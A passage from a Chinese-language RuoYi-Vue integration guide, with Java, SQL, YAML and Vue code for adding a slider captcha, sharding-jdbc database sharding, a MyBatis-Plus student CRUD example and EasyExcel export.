可以移除不需要的類
ruoyi-admin\com\ruoyi\web\controller\common\CaptchaController.java`
`ruoyi-framework\com\ruoyi\framework\config\CaptchaConfig.java`
`ruoyi-framework\com\ruoyi\framework\config\KaptchaTextCreator.java
修改ruoyi-admin\com\ruoyi\web\controller\system\SysLoginController.java
/**
* 登錄方法
*
* @param loginBody 登錄信息
* @return 結果
*/
@PostMapping("/login")
public AjaxResult login(@RequestBody LoginBody loginBody)
{
AjaxResult ajax = AjaxResult.success();
// 生成令牌
String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode());
ajax.put(Constants.TOKEN, token);
return ajax;
}
修改ruoyi-framework\com\ruoyi\framework\web\service\SysLoginService.java
package com.ruoyi.framework.web.service;
import javax.annotation.Resource;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Lazy;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.stereotype.Component;
import com.anji.captcha.model.common.ResponseModel;
import com.anji.captcha.model.vo.CaptchaVO;
import com.anji.captcha.service.CaptchaService;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.exception.user.CaptchaException;
import com.ruoyi.common.exception.user.UserPasswordNotMatchException;
import com.ruoyi.common.utils.DateUtils;
import com.ruoyi.common.utils.MessageUtils;
import com.ruoyi.common.utils.ServletUtils;
import com.ruoyi.common.utils.ip.IpUtils;
import com.ruoyi.framework.manager.AsyncManager;
import com.ruoyi.framework.manager.factory.AsyncFactory;
import com.ruoyi.system.service.ISysUserService;
/**
* 登錄校驗方法
*
* @author ruoyi
*/
@Component
public class SysLoginService
{
@Autowired
private TokenService tokenService;
@Resource
private AuthenticationManager authenticationManager;
@Autowired
private ISysUserService userService;
@Autowired
@Lazy
private CaptchaService captchaService;
/**
* 登錄驗證
*
* @param username 用戶名
* @param password 密碼
* @param code 驗證碼
* @return 結果
*/
public String login(String username, String password, String code)
{
CaptchaVO captchaVO = new CaptchaVO();
captchaVO.setCaptchaVerification(code);
ResponseModel response = captchaService.verification(captchaVO);
if (!response.isSuccess())
{
AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL,
MessageUtils.message("user.jcaptcha.error")));
throw new CaptchaException();
}
// 用戶驗證
Authentication authentication = null;
try
{
// 該方法會去調用UserDetailsServiceImpl.loadUserByUsername
authentication = authenticationManager
.authenticate(new UsernamePasswordAuthenticationToken(username, password));
}
catch (Exception e)
{
if (e instanceof BadCredentialsException)
{
AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match")));
throw new UserPasswordNotMatchException();
}
else
{
AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage()));
throw new ServiceException(e.getMessage());
}
}
AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success")));
LoginUser loginUser = (LoginUser) authentication.getPrincipal();
// 生成token
return tokenService.createToken(loginUser);
}
/**
* 記錄登錄信息
*
* @param userId 用戶ID
*/
public void recordLoginInfo(Long userId)
{
SysUser sysUser = new SysUser();
sysUser.setUserId(userId);
sysUser.setLoginIp(IpUtils.getIpAddr(ServletUtils.getRequest()));
sysUser.setLoginDate(DateUtils.getNowDate());
userService.updateUserProfile(sysUser);
}
}
新增 ruoyi-framework\com\ruoyi\framework\web\service\CaptchaRedisService.java
package com.ruoyi.framework.web.service;
import java.util.concurrent.TimeUnit;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.StringRedisTemplate;
import com.anji.captcha.service.CaptchaCacheService;
/**
* 自定義redis驗證碼緩存實現類
*
* @author ruoyi
*/
public class CaptchaRedisService implements CaptchaCacheService
{
@Autowired
private StringRedisTemplate stringRedisTemplate;
@Override
public void set(String key, String value, long expiresInSeconds)
{
stringRedisTemplate.opsForValue().set(key, value, expiresInSeconds, TimeUnit.SECONDS);
}
@Override
public boolean exists(String key)
{
return stringRedisTemplate.hasKey(key);
}
@Override
public void delete(String key)
{
stringRedisTemplate.delete(key);
}
@Override
public String get(String key)
{
return stringRedisTemplate.opsForValue().get(key);
}
@Override
public Long increment(String key, long val)
{
return stringRedisTemplate.opsForValue().increment(key, val);
}
@Override
public String type()
{
return "redis";
}
}
5、添加滑動驗證碼插件到ruoyi-ui
下載前端插件相關包和代碼實現ruoyi-vue/集成滑動驗證碼.zip
鏈接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取碼: y9jt
7、集成sharding-jdbc實現分庫分表
sharding-jdbc
是由當當捐入給apache
的一款分布式數據庫中間件,支持垂直分庫、垂直分表、水平分庫、水平分表、讀寫分離、分布式事務和高可用等相關功能。
1、ruoyi-framework\pom.xml
模塊添加sharding-jdbc整合依賴
<!-- sharding-jdbc分庫分表 -->
<dependency>
<groupId>org.apache.shardingsphere</groupId>
<artifactId>sharding-jdbc-core</artifactId>
<version>4.1.1</version>
</dependency>
2、創建兩個測試數據庫
create database `ry-order1`;
create database `ry-order2`;
3、創建兩個測試訂單表
-- ----------------------------
-- 訂單信息表sys_order_0
-- ----------------------------
drop table if exists sys_order_0;
create table sys_order_0
(
order_id bigint(20) not null comment '訂單ID',
user_id bigint(64) not null comment '用戶編號',
status char(1) not null comment '狀態(0交易成功 1交易失敗)',
order_no varchar(64) default null comment '訂單流水',
primary key (order_id)
) engine=innodb comment = '訂單信息表';
-- ----------------------------
-- 訂單信息表sys_order_1
-- ----------------------------
drop table if exists sys_order_1;
create table sys_order_1
(
order_id bigint(20) not null comment '訂單ID',
user_id bigint(64) not null comment '用戶編號',
status char(1) not null comment '狀態(0交易成功 1交易失敗)',
order_no varchar(64) default null comment '訂單流水',
primary key (order_id)
) engine=innodb comment = '訂單信息表';
4、配置文件application-druid.yml
添加測試數據源
# 數據源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: com.mysql.cj.jdbc.Driver
druid:
# 主庫數據源
master:
url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: password
# 訂單庫1
order1:
enabled: true
url: jdbc:mysql://localhost:3306/ry-order1?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: password
# 訂單庫2
order2:
enabled: true
url: jdbc:mysql://localhost:3306/ry-order2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: password
...................
5、下載插件相關包和代碼實現覆蓋到工程中
提示
下載插件相關包和代碼實現ruoyi/集成sharding-jdbc實現分庫分表.zip
鏈接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取碼: y9jt
6、測試驗證
訪問http://localhost/order/add/1
入庫到ry-order2
訪問http://localhost/order/add/2
入庫到ry-order1
同時根據訂單號order_id % 2
入庫到sys_order_0
或者sys_order_1
8、集成mybatisplus實現mybatis增強
Mybatis-Plus
是在Mybatis
的基礎上進行擴展,只做增強不做改變,可以兼容Mybatis
原生的特性。同時支持通用CRUD操作、多種主鍵策略、分頁、性能分析、全局攔截等。極大幫助我們簡化開發工作。
RuoYi-Vue
集成Mybatis-Plus
完整項目參考https://gitee.com/JavaLionLi/RuoYi-Vue-Plus (opens new window)。
1、ruoyi-common\pom.xml
模塊添加整合依賴
<!-- mybatis-plus 增強CRUD -->
<dependency>
<groupId>com.baomidou</groupId>
<artifactId>mybatis-plus-boot-starter</artifactId>
<version>3.4.2</version>
</dependency>
2、ruoyi-admin
文件application.yml
,修改mybatis配置為mybatis-plus
# MyBatis Plus配置
mybatis-plus:
# 搜索指定包別名
typeAliasesPackage: com.ruoyi.**.domain
# 配置mapper的掃描,找到所有的mapper.xml映射文件
mapperLocations: classpath*:mapper/**/*Mapper.xml
# 加載全局的配置文件
configLocation: classpath:mybatis/mybatis-config.xml
3、添加Mybatis Plus
配置MybatisPlusConfig.java
。 PS:原來的MyBatisConfig.java
需要刪除掉
package com.ruoyi.framework.config;
import com.baomidou.mybatisplus.annotation.DbType;
import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor;
import com.baomidou.mybatisplus.extension.plugins.inner.BlockAttackInnerInterceptor;
import com.baomidou.mybatisplus.extension.plugins.inner.OptimisticLockerInnerInterceptor;
import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.transaction.annotation.EnableTransactionManagement;
/**
* Mybatis Plus 配置
*
* @author ruoyi
*/
@EnableTransactionManagement(proxyTargetClass = true)
@Configuration
public class MybatisPlusConfig
{
@Bean
public MybatisPlusInterceptor mybatisPlusInterceptor()
{
MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
// 分頁插件
interceptor.addInnerInterceptor(paginationInnerInterceptor());
// 樂觀鎖插件
interceptor.addInnerInterceptor(optimisticLockerInnerInterceptor());
// 阻斷插件
interceptor.addInnerInterceptor(blockAttackInnerInterceptor());
return interceptor;
}
/**
* 分頁插件,自動識別數據庫類型 https://baomidou.com/guide/interceptor-pagination.html
*/
public PaginationInnerInterceptor paginationInnerInterceptor()
{
PaginationInnerInterceptor paginationInnerInterceptor = new PaginationInnerInterceptor();
// 設置數據庫類型為mysql
paginationInnerInterceptor.setDbType(DbType.MYSQL);
// 設置最大單頁限制數量,默認 500 條,-1 不受限制
paginationInnerInterceptor.setMaxLimit(-1L);
return paginationInnerInterceptor;
}
/**
* 樂觀鎖插件 https://baomidou.com/guide/interceptor-optimistic-locker.html
*/
public OptimisticLockerInnerInterceptor optimisticLockerInnerInterceptor()
{
return new OptimisticLockerInnerInterceptor();
}
/**
* 如果是對全表的刪除或更新操作,就會終止該操作 https://baomidou.com/guide/interceptor-block-attack.html
*/
public BlockAttackInnerInterceptor blockAttackInnerInterceptor()
{
return new BlockAttackInnerInterceptor();
}
}
4、添加測試表和菜單信息
drop table if exists sys_student;
create table sys_student (
student_id int(11) auto_increment comment '編號',
student_name varchar(30) default '' comment '學生名稱',
student_age int(3) default null comment '年齡',
student_hobby varchar(30) default '' comment '愛好(0代碼 1音樂 2電影)',
student_sex char(1) default '0' comment '性別(0男 1女 2未知)',
student_status char(1) default '0' comment '狀態(0正常 1停用)',
student_birthday datetime comment '生日',
primary key (student_id)
) engine=innodb auto_increment=1 comment = '學生信息表';
-- 菜單 sql
insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark)
values('學生信息', '3', '1', '/system/student', 'c', '0', 'system:student:view', '#', 'admin', sysdate(), '', null, '學生信息菜單');
-- 按鈕父菜單id
select @parentid := last_insert_id();
-- 按鈕 sql
insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark)
values('學生信息查詢', @parentid, '1', '#', 'f', '0', 'system:student:list', '#', 'admin', sysdate(), '', null, '');
insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark)
values('學生信息新增', @parentid, '2', '#', 'f', '0', 'system:student:add', '#', 'admin', sysdate(), '', null, '');
insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark)
values('學生信息修改', @parentid, '3', '#', 'f', '0', 'system:student:edit', '#', 'admin', sysdate(), '', null, '');
insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark)
values('學生信息刪除', @parentid, '4', '#', 'f', '0', 'system:student:remove', '#', 'admin', sysdate(), '', null, '');
insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark)
values('學生信息導出', @parentid, '5', '#', 'f', '0', 'system:student:export', '#', 'admin', sysdate(), '', null, '');
5、新增測試代碼驗證 新增 ruoyi-system\com\ruoyi\system\controller\SysStudentController.java
package com.ruoyi.web.controller.system;
import java.util.Arrays;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.system.domain.SysStudent;
import com.ruoyi.system.service.ISysStudentService;
/**
* 學生信息Controller
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/student")
public class SysStudentController extends BaseController
{
@Autowired
private ISysStudentService sysStudentService;
/**
* 查詢學生信息列表
*/
@PreAuthorize("@ss.hasPermi('system:student:list')")
@GetMapping("/list")
public TableDataInfo list(SysStudent sysStudent)
{
startPage();
List<SysStudent> list = sysStudentService.queryList(sysStudent);
return getDataTable(list);
}
/**
* 導出學生信息列表
*/
@PreAuthorize("@ss.hasPermi('system:student:export')")
@Log(title = "學生信息", businessType = BusinessType.EXPORT)
@GetMapping("/export")
public AjaxResult export(SysStudent sysStudent)
{
List<SysStudent> list = sysStudentService.queryList(sysStudent);
ExcelUtil<SysStudent> util = new ExcelUtil<SysStudent>(SysStudent.class);
return util.exportExcel(list, "student");
}
/**
* 獲取學生信息詳細信息
*/
@PreAuthorize("@ss.hasPermi('system:student:query')")
@GetMapping(value = "/{studentId}")
public AjaxResult getInfo(@PathVariable("studentId") Long studentId)
{
return AjaxResult.success(sysStudentService.getById(studentId));
}
/**
* 新增學生信息
*/
@PreAuthorize("@ss.hasPermi('system:student:add')")
@Log(title = "學生信息", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody SysStudent sysStudent)
{
return toAjax(sysStudentService.save(sysStudent));
}
/**
* 修改學生信息
*/
@PreAuthorize("@ss.hasPermi('system:student:edit')")
@Log(title = "學生信息", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody SysStudent sysStudent)
{
return toAjax(sysStudentService.updateById(sysStudent));
}
/**
* 刪除學生信息
*/
@PreAuthorize("@ss.hasPermi('system:student:remove')")
@Log(title = "學生信息", businessType = BusinessType.DELETE)
@DeleteMapping("/{studentIds}")
public AjaxResult remove(@PathVariable Long[] studentIds)
{
return toAjax(sysStudentService.removeByIds(Arrays.asList(studentIds)));
}
}
新增 ruoyi-system\com\ruoyi\system\domain\SysStudent.java
package com.ruoyi.system.domain;
import java.io.Serializable;
import java.util.Date;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.ruoyi.common.annotation.Excel;
/**
* 學生信息對象 sys_student
*
* @author ruoyi
*/
@TableName(value = "sys_student")
public class SysStudent implements Serializable
{
@TableField(exist = false)
private static final long serialVersionUID = 1L;
/** 編號 */
@TableId(type = IdType.AUTO)
private Long studentId;
/** 學生名稱 */
@Excel(name = "學生名稱")
private String studentName;
/** 年齡 */
@Excel(name = "年齡")
private Integer studentAge;
/** 愛好(0代碼 1音樂 2電影) */
@Excel(name = "愛好", readConverterExp = "0=代碼,1=音樂,2=電影")
private String studentHobby;
/** 性別(0男 1女 2未知) */
@Excel(name = "性別", readConverterExp = "0=男,1=女,2=未知")
private String studentSex;
/** 狀態(0正常 1停用) */
@Excel(name = "狀態", readConverterExp = "0=正常,1=停用")
private String studentStatus;
/** 生日 */
@JsonFormat(pattern = "yyyy-MM-dd")
@Excel(name = "生日", width = 30, dateFormat = "yyyy-MM-dd")
private Date studentBirthday;
public void setStudentId(Long studentId)
{
this.studentId = studentId;
}
public Long getStudentId()
{
return studentId;
}
public void setStudentName(String studentName)
{
this.studentName = studentName;
}
public String getStudentName()
{
return studentName;
}
public void setStudentAge(Integer studentAge)
{
this.studentAge = studentAge;
}
public Integer getStudentAge()
{
return studentAge;
}
public void setStudentHobby(String studentHobby)
{
this.studentHobby = studentHobby;
}
public String getStudentHobby()
{
return studentHobby;
}
public void setStudentSex(String studentSex)
{
this.studentSex = studentSex;
}
public String getStudentSex()
{
return studentSex;
}
public void setStudentStatus(String studentStatus)
{
this.studentStatus = studentStatus;
}
public String getStudentStatus()
{
return studentStatus;
}
public void setStudentBirthday(Date studentBirthday)
{
this.studentBirthday = studentBirthday;
}
public Date getStudentBirthday()
{
return studentBirthday;
}
@Override
public String toString() {
return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
.append("studentId", getStudentId())
.append("studentName", getStudentName())
.append("studentAge", getStudentAge())
.append("studentHobby", getStudentHobby())
.append("studentSex", getStudentSex())
.append("studentStatus", getStudentStatus())
.append("studentBirthday", getStudentBirthday())
.toString();
}
}
新增 ruoyi-system\com\ruoyi\system\mapper\SysStudentMapper.java
package com.ruoyi.system.mapper;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.ruoyi.system.domain.SysStudent;
/**
* 學生信息Mapper接口
*
* @author ruoyi
*/
public interface SysStudentMapper extends BaseMapper<SysStudent>
{
}
新增 ruoyi-system\com\ruoyi\system\service\ISysStudentService.java
package com.ruoyi.system.service;
import java.util.List;
import com.baomidou.mybatisplus.extension.service.IService;
import com.ruoyi.system.domain.SysStudent;
/**
* 學生信息Service接口
*
* @author ruoyi
*/
public interface ISysStudentService extends IService<SysStudent>
{
/**
* 查詢學生信息列表
*
* @param sysStudent 學生信息
* @return 學生信息集合
*/
public List<SysStudent> queryList(SysStudent sysStudent);
}
新增 ruoyi-system\com\ruoyi\system\service\impl\SysStudentServiceImpl.java
package com.ruoyi.system.service.impl;
import java.util.List;
import org.springframework.stereotype.Service;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysStudent;
import com.ruoyi.system.mapper.SysStudentMapper;
import com.ruoyi.system.service.ISysStudentService;
/**
* 學生信息Service業務層處理
*
* @author ruoyi
*/
@Service
public class SysStudentServiceImpl extends ServiceImpl<SysStudentMapper, SysStudent> implements ISysStudentService
{
@Override
public List<SysStudent> queryList(SysStudent sysStudent)
{
// 注意:mybatis-plus lambda 模式不支持 eclipse 的編譯器
// LambdaQueryWrapper<SysStudent> queryWrapper = Wrappers.lambdaQuery();
// queryWrapper.eq(SysStudent::getStudentName, sysStudent.getStudentName());
QueryWrapper<SysStudent> queryWrapper = Wrappers.query();
if (StringUtils.isNotEmpty(sysStudent.getStudentName()))
{
queryWrapper.eq("student_name", sysStudent.getStudentName());
}
if (StringUtils.isNotNull(sysStudent.getStudentAge()))
{
queryWrapper.eq("student_age", sysStudent.getStudentAge());
}
if (StringUtils.isNotEmpty(sysStudent.getStudentHobby()))
{
queryWrapper.eq("student_hobby", sysStudent.getStudentHobby());
}
return this.list(queryWrapper);
}
}
新增 ruoyi-ui\src\views\system\student\index.vue
<template>
<div class="app-container">
<el-form :model="queryParams" ref="queryForm" :inline="true" v-show="showSearch" label-width="68px">
<el-form-item label="學生名稱" prop="studentName">
<el-input
v-model="queryParams.studentName"
placeholder="請輸入學生名稱"
clearable
size="small"
@keyup.enter.native="handleQuery"
/>
</el-form-item>
<el-form-item label="年齡" prop="studentAge">
<el-input
v-model="queryParams.studentAge"
placeholder="請輸入年齡"
clearable
size="small"
@keyup.enter.native="handleQuery"
/>
</el-form-item>
<el-form-item label="愛好" prop="studentHobby">
<el-input
v-model="queryParams.studentHobby"
placeholder="請輸入愛好"
clearable
size="small"
@keyup.enter.native="handleQuery"
/>
</el-form-item>
<el-form-item label="性別" prop="studentSex">
<el-select v-model="queryParams.studentSex" placeholder="請選擇性別" clearable size="small">
<el-option label="請選擇字典生成" value="" />
</el-select>
</el-form-item>
<el-form-item label="狀態" prop="studentStatus">
<el-select v-model="queryParams.studentStatus" placeholder="請選擇狀態" clearable size="small">
<el-option label="請選擇字典生成" value="" />
</el-select>
</el-form-item>
<el-form-item label="生日" prop="studentBirthday">
<el-date-picker clearable size="small"
v-model="queryParams.studentBirthday"
type="date"
value-format="yyyy-MM-dd"
placeholder="選擇生日">
</el-date-picker>
</el-form-item>
<el-form-item>
<el-button type="primary" icon="el-icon-search" size="mini" @click="handleQuery">搜索</el-button>
<el-button icon="el-icon-refresh" size="mini" @click="resetQuery">重置</el-button>
</el-form-item>
</el-form>
<el-row :gutter="10" class="mb8">
<el-col :span="1.5">
<el-button
type="primary"
plain
icon="el-icon-plus"
size="mini"
@click="handleAdd"
v-hasPermi="['system:student:add']"
>新增</el-button>
</el-col>
<el-col :span="1.5">
<el-button
type="success"
plain
icon="el-icon-edit"
size="mini"
:disabled="single"
@click="handleUpdate"
v-hasPermi="['system:student:edit']"
>修改</el-button>
</el-col>
<el-col :span="1.5">
<el-button
type="danger"
plain
icon="el-icon-delete"
size="mini"
:disabled="multiple"
@click="handleDelete"
v-hasPermi="['system:student:remove']"
>刪除</el-button>
</el-col>
<el-col :span="1.5">
<el-button
type="warning"
plain
icon="el-icon-download"
size="mini"
@click="handleExport"
v-hasPermi="['system:student:export']"
>導出</el-button>
</el-col>
<right-toolbar :showSearch.sync="showSearch" @queryTable="getList"></right-toolbar>
</el-row>
<el-table v-loading="loading" :data="studentList" @selection-change="handleSelectionChange">
<el-table-column type="selection" width="55" align="center" />
<el-table-column label="編號" align="center" prop="studentId" />
<el-table-column label="學生名稱" align="center" prop="studentName" />
<el-table-column label="年齡" align="center" prop="studentAge" />
<el-table-column label="愛好" align="center" prop="studentHobby" />
<el-table-column label="性別" align="center" prop="studentSex" />
<el-table-column label="狀態" align="center" prop="studentStatus" />
<el-table-column label="生日" align="center" prop="studentBirthday" width="180">
<template slot-scope="scope">
<span>{{ parseTime(scope.row.studentBirthday, '{y}-{m}-{d}') }}</span>
</template>
</el-table-column>
<el-table-column label="操作" align="center" class-name="small-padding fixed-width">
<template slot-scope="scope">
<el-button
size="mini"
type="text"
icon="el-icon-edit"
@click="handleUpdate(scope.row)"
v-hasPermi="['system:student:edit']"
>修改</el-button>
<el-button
size="mini"
type="text"
icon="el-icon-delete"
@click="handleDelete(scope.row)"
v-hasPermi="['system:student:remove']"
>刪除</el-button>
</template>
</el-table-column>
</el-table>
<pagination
v-show="total>0"
:total="total"
:page.sync="queryParams.pageNum"
:limit.sync="queryParams.pageSize"
@pagination="getList"
/>
<!-- 添加或修改學生信息對話框 -->
<el-dialog :title="title" :visible.sync="open" width="500px" append-to-body>
<el-form ref="form" :model="form" :rules="rules" label-width="80px">
<el-form-item label="學生名稱" prop="studentName">
<el-input v-model="form.studentName" placeholder="請輸入學生名稱" />
</el-form-item>
<el-form-item label="年齡" prop="studentAge">
<el-input v-model="form.studentAge" placeholder="請輸入年齡" />
</el-form-item>
<el-form-item label="愛好" prop="studentHobby">
<el-input v-model="form.studentHobby" placeholder="請輸入愛好" />
</el-form-item>
<el-form-item label="性別" prop="studentSex">
<el-select v-model="form.studentSex" placeholder="請選擇性別">
<el-option label="請選擇字典生成" value="" />
</el-select>
</el-form-item>
<el-form-item label="狀態">
<el-radio-group v-model="form.studentStatus">
<el-radio label="1">請選擇字典生成</el-radio>
</el-radio-group>
</el-form-item>
<el-form-item label="生日" prop="studentBirthday">
<el-date-picker clearable size="small"
v-model="form.studentBirthday"
type="date"
value-format="yyyy-MM-dd"
placeholder="選擇生日">
</el-date-picker>
</el-form-item>
</el-form>
<div slot="footer" class="dialog-footer">
<el-button type="primary" @click="submitForm">確 定</el-button>
<el-button @click="cancel">取 消</el-button>
</div>
</el-dialog>
</div>
</template>
<script>
import { listStudent, getStudent, delStudent, addStudent, updateStudent, exportStudent } from "@/api/system/student";
export default {
name: "Student",
components: {
},
data() {
return {
// 遮罩層
loading: true,
// 選中數組
ids: [],
// 非單個禁用
single: true,
// 非多個禁用
multiple: true,
// 顯示搜索條件
showSearch: true,
// 總條數
total: 0,
// 學生信息表格數據
studentList: [],
// 彈出層標題
title: "",
// 是否顯示彈出層
open: false,
// 查詢參數
queryParams: {
pageNum: 1,
pageSize: 10,
studentName: null,
studentAge: null,
studentHobby: null,
studentSex: null,
studentStatus: null,
studentBirthday: null
},
// 表單參數
form: {},
// 表單校驗
rules: {
}
};
},
created() {
this.getList();
},
methods: {
/** 查詢學生信息列表 */
getList() {
this.loading = true;
listStudent(this.queryParams).then(response => {
this.studentList = response.rows;
this.total = response.total;
this.loading = false;
});
},
// 取消按鈕
cancel() {
this.open = false;
this.reset();
},
// 表單重置
reset() {
this.form = {
studentId: null,
studentName: null,
studentAge: null,
studentHobby: null,
studentSex: null,
studentStatus: "0",
studentBirthday: null
};
this.resetForm("form");
},
/** 搜索按鈕操作 */
handleQuery() {
this.queryParams.pageNum = 1;
this.getList();
},
/** 重置按鈕操作 */
resetQuery() {
this.resetForm("queryForm");
this.handleQuery();
},
// 多選框選中數據
handleSelectionChange(selection) {
this.ids = selection.map(item => item.studentId)
this.single = selection.length!==1
this.multiple = !selection.length
},
/** 新增按鈕操作 */
handleAdd() {
this.reset();
this.open = true;
this.title = "添加學生信息";
},
/** 修改按鈕操作 */
handleUpdate(row) {
this.reset();
const studentId = row.studentId || this.ids
getStudent(studentId).then(response => {
this.form = response.data;
this.open = true;
this.title = "修改學生信息";
});
},
/** 提交按鈕 */
submitForm() {
this.$refs["form"].validate(valid => {
if (valid) {
if (this.form.studentId != null) {
updateStudent(this.form).then(response => {
this.msgSuccess("修改成功");
this.open = false;
this.getList();
});
} else {
addStudent(this.form).then(response => {
this.msgSuccess("新增成功");
this.open = false;
this.getList();
});
}
}
});
},
/** 刪除按鈕操作 */
handleDelete(row) {
const studentIds = row.studentId || this.ids;
this.$confirm('是否確認刪除學生信息編號為"' + studentIds + '"的數據項?', "警告", {
confirmButtonText: "確定",
cancelButtonText: "取消",
type: "warning"
}).then(function() {
return delStudent(studentIds);
}).then(() => {
this.getList();
this.msgSuccess("刪除成功");
})
},
/** 導出按鈕操作 */
handleExport() {
const queryParams = this.queryParams;
this.$confirm('是否確認導出所有學生信息數據項?', "警告", {
confirmButtonText: "確定",
cancelButtonText: "取消",
type: "warning"
}).then(function() {
return exportStudent(queryParams);
}).then(response => {
this.download(response.msg);
})
}
}
};
</script>
新增 ruoyi-ui\src\api\system\student.js
import request from '@/utils/request'
// 查詢學生信息列表
export function listStudent(query) {
return request({
url: '/system/student/list',
method: 'get',
params: query
})
}
// 查詢學生信息詳細
export function getStudent(studentId) {
return request({
url: '/system/student/' + studentId,
method: 'get'
})
}
// 新增學生信息
export function addStudent(data) {
return request({
url: '/system/student',
method: 'post',
data: data
})
}
// 修改學生信息
export function updateStudent(data) {
return request({
url: '/system/student',
method: 'put',
data: data
})
}
// 刪除學生信息
export function delStudent(studentId) {
return request({
url: '/system/student/' + studentId,
method: 'delete'
})
}
// 導出學生信息
export function exportStudent(query) {
return request({
url: '/system/student/export',
method: 'get',
params: query
})
}
6、登錄系統測試學生菜單增刪改查功能。
9、集成easyexcel實現excel表格增強
如果默認的excel
注解已經滿足不了你的需求,可以使用excel
的增強解決方案easyexcel
,它是阿里巴巴開源的一個excel
處理框架,使用簡單、功能特性多、以節省內存著稱。
1、ruoyi-common\pom.xml
模塊添加整合依賴
<!-- easyexcel -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>easyexcel</artifactId>
<version>2.2.6</version>
</dependency>
2、ExcelUtil.java
新增easyexcel
導出導入方法
import com.alibaba.excel.EasyExcel;
/**
* 對excel表單默認第一個索引名轉換成list(EasyExcel)
*
* @param is 輸入流
* @return 轉換后集合
*/
public List<T> importEasyExcel(InputStream is) throws Exception
{
return EasyExcel.read(is).head(clazz).sheet().doReadSync();
}
/**
* 對list數據源將其里面的數據導入到excel表單(EasyExcel)
*
* @param list 導出數據集合
* @param sheetName 工作表的名稱
* @return 結果
*/
public AjaxResult exportEasyExcel(List<T> list, String sheetName)
{
String filename = encodingFilename(sheetName);
EasyExcel.write(getAbsoluteFile(filename), clazz).sheet(sheetName).doWrite(list);
return AjaxResult.success(filename);
}
3、模擬測試,以操作日志為例,修改相關類。
SysOperlogController.java改為exportEasyExcel
@Log(title = "操作日志", businessType = BusinessType.EXPORT)
@RequiresPermissions("monitor:operlog:export")
@PostMapping("/export")
@ResponseBody
public AjaxResult export(SysOperLog operLog)
{
List<SysOperLog> list = operLogService.selectOperLogList(operLog);
ExcelUtil<SysOperLog> util = new ExcelUtil<SysOperLog>(SysOperLog.class);
return util.exportEasyExcel(list, "操作日志");
}
SysOperLog.java修改為@ExcelProperty
注解
package com.ruoyi.system.domain;
import java.util.Date;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
